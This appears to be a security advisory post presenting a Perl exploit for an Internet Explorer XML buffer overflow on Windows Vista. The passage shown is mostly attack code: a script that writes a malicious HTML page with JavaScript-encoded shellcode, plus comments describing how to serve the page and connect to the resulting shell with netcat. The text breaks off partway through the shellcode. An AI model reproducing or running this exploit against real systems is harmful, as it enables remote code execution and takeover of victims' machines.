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Microsoft Internet Explorer XML Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
The following exploit utilizes the XML vulnerability in Internet Explorer
to execute arbitrary code under Vista.
DETAILS
Exploit:
#!/usr/bin/perl
# msie_xmlbof_vista.pl
# Microsoft Internet Explorer XML Buffer Overflow Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
#
# I wanted a reliable shell, so I figured I'd whip up something nice for
IE7+Vista
# Only the first hundred calculators popping up on the screen is hilarious
# Core/Concepts from other available exploits... Yeah, thanks
skylined/krafy/muts
#
# bash$ perl msie_xmlbof_vista.pl
# Usage: msie_xmlbof_vista.pl <filename.html>
# bash$ perl msie_xmlbof_vista.pl /var/www/msie_xmlbof_vista.html
#
# *** Launching IE7 on Vista SP1 with URL:
http://192.168.100.105/msie_xmlbof_vista.html ***
#
# bash$ nc 192.168.100.118 30702
# Microsoft Windows [Version 6.0.6001]
# Copyright (c) 2006 Microsoft Corporation. All rights reserved.
#
# C:\Users\vista\Desktop>
#
# Enjoy :)
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n";
}
$exploit = '<html>' . "\n" . '<div id="msie_xmlbof_vista">x</div>' .
'<script>' . "\n\n" .
'var shellcode =
unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b" +
' . "\n" .
'
"%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac" + ' . "\n"
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